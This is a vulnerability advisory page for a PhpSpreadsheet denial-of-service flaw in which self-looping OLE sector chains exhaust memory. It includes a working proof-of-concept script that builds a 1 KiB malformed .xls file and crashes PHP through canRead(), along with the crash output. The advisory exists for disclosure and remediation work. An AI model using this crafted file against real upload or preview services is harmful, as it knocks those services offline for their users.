Skip to main content

PhpSpreadsheet CVE-2026-59933

HIGH
Uncontrolled Resource Consumption (CWE-400)
2026-07-23 https://github.com/PHPOffice/PhpSpreadsheet GHSA-xh5m-36r6-47m3
7.5
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vuln.today AI
7.5 HIGH

Remote unauthenticated attacker delivers a file to auto-detection (AV:N/AC:L/PR:N/UI:N); impact is memory-exhaustion DoS only, so C:N/I:N/A:H with no scope change.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 23, 2026 - 15:35 vuln.today
Analysis Generated
Jul 23, 2026 - 15:35 vuln.today
CVE Published
Jul 23, 2026 - 15:01 github-advisory
HIGH 7.5

DescriptionGitHub Advisory

Summary

PhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory.

This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.

Vulnerability details

OLERead::read() loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:

  • src/PhpSpreadsheet/Shared/OLERead.php:82 reads the entire file after validating only the OLE magic.
  • src/PhpSpreadsheet/Shared/OLERead.php:84-97 reads sector-chain metadata from the file header.
  • src/PhpSpreadsheet/Shared/OLERead.php:132-146 builds bigBlockChain and then follows the small-block depot chain.

The vulnerable loop is:

php
$sbdBlock = $this->sbdStartBlock;
$this->smallBlockChain = '';
while ($sbdBlock != -2) {
    $pos = ($sbdBlock + 1) * self::BIG_BLOCK_SIZE;

    $this->smallBlockChain .= substr($this->data, $pos, 4 * $bbs);
    $pos += 4 * $bbs;

    $sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock * 4);
}

There is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector 0 to sector 0, the loop appends the same sector data forever until memory is exhausted.

The issue is reachable during normal reader detection/loading:

  • src/PhpSpreadsheet/Reader/XlsBase.php:153-165 calls OLERead::read() from canRead().
  • src/PhpSpreadsheet/Reader/Xls.php:376-383 calls OLERead::read() from loadOLE().
  • src/PhpSpreadsheet/IOFactory.php:181-213 calls canRead() while creating a reader for a file, so automatic format detection can trigger the issue.

Similar unbounded sector-chain walks exist later in stream reading:

  • src/PhpSpreadsheet/Shared/OLERead.php:175-180
  • src/PhpSpreadsheet/Shared/OLERead.php:198-202
  • src/PhpSpreadsheet/Shared/OLERead.php:218-222

The proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.

Impact

A 1 KiB file can crash a PHP worker during Xls::canRead() or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.

The issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.

Safe local proof of concept

This proof of concept uses only Docker with --network none; it creates the malformed OLE file inside the container and does not contact external infrastructure.

bash
docker run --rm --network none -i \
  -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
  -w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'
set -eu
php -r '
$data = str_repeat("\0", 1024);
$set = function (int $off, string $bytes) use (&$data): void { $data = substr_replace($data, $bytes, $off, strlen($bytes)); };
$set(0, hex2bin("D0CF11E0A1B11AE1"));
$set(28, "\xfe\xff");
$set(30, pack("v", 9));     // sector size 512
$set(32, pack("v", 6));     // mini sector size 64
$set(44, pack("l", 1));     // 1 SAT sector
$set(48, pack("l", 0));     // directory first sector 0
$set(56, pack("l", 4096));  // mini stream cutoff
$set(60, pack("l", 0));     // SSAT first sector 0
$set(64, pack("l", 1));     // one SSAT sector
$set(68, pack("l", -2));    // no MSAT extension
$set(72, pack("l", 0));     // no extension sectors
$set(76, pack("l", 0));     // DIFAT says SAT is sector 0
$set(512, pack("l", 0));    // SAT entry for sector 0 points to itself
file_put_contents("/tmp/phpspreadsheet-ole-selfloop.xls", $data);
printf("ole_size=%d\n", filesize("/tmp/phpspreadsheet-ole-selfloop.xls"));
'
php -d memory_limit=64M -d display_errors=1 -r '
require "/app/vendor/autoload.php";
$r = new PhpOffice\PhpSpreadsheet\Reader\Xls();
var_dump($r->canRead("/tmp/phpspreadsheet-ole-selfloop.xls"));
' 2>&1 || true
SH

Observed output:

text
ole_size=1024
PHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143
PHP Stack trace:
PHP   1. {main}() Command line code:0
PHP   2. PhpOffice\PhpSpreadsheet\Reader\XlsBase->canRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4
PHP   3. PhpOffice\PhpSpreadsheet\Shared\OLERead->read($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164

Suggested remediation

  • Validate every OLE sector-chain walk with:
  • a visited-sector set to reject cycles;
  • maximum chain length based on file size and sector size;
  • bounds checks before reading from $this->data, $this->bigBlockChain, or $this->smallBlockChain;
  • rejection of negative sector IDs other than the documented end-of-chain marker.
  • Replace fatal memory exhaustion with a recoverable Reader\Exception for malformed OLE chains.
  • Apply the same guarded chain-walk helper to:
  • small-block depot chain construction;
  • small-block stream extraction;
  • big-block stream extraction;
  • readData().
  • Add regression tests with self-looping and out-of-range SAT/SSAT chains.

AnalysisAI

Denial of service in PhpSpreadsheet (PHPOffice) versions 2.0.0 through 5.8.0 lets remote unauthenticated attackers crash a PHP worker with a ~1 KiB malformed XLS/OLE file. The library's OLERead::read() follows attacker-controlled OLE sector chains without cycle detection, so a sector that points back to itself makes the small-block depot loop append the same data until memory is exhausted. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Upload crafted 1 KiB .xls to import endpoint
Delivery
App auto-detects type via canRead()
Exploit
OLERead follows self-looping SAT sector chain
Execution
smallBlockChain appended in unbounded loop
Persist
PHP memory limit exhausted
Impact
Worker killed, service denial

Vulnerability AssessmentAI

Exploitation The only prerequisite is that the target application parses an attacker-supplied .xls/OLE file through PhpSpreadsheet's XLS reader or automatic type detection (IOFactory::createReaderForFile / Reader\Xls::canRead / loadOLE) - no authentication, no user interaction, and no special product configuration are required, since detection happens before the file is validated as a real workbook. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, base 7.5) is internally consistent for a network-reachable, no-auth, no-interaction availability-only impact, and matches the description: exploitation happens during canRead()/type detection before authentication to the workbook is relevant. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker uploads a crafted ~1 KiB .xls file to a web app that accepts spreadsheet uploads (e.g. an import, preview, or document-conversion feature). …
Remediation Vendor-released patch: upgrade to the fixed release for your branch - 5.8.1, 3.10.7, 2.4.7, or 2.1.18 (1.30.6 for the 1.x line) - via Composer (composer update phpoffice/phpspreadsheet), applying the fix commit 85f2556b0bf5269061bf45932ecda8a128d81750 which adds a catchLoop() visited-sector guard that throws a recoverable Reader\Exception on cyclic OLE chains. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, inventory all applications using PhpSpreadsheet versions 2.0.0-5.8.0 and identify those processing untrusted uploads. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2025-23211 CRITICAL POC
9.9 Jan 28

Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve

Share

CVE-2026-59933 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy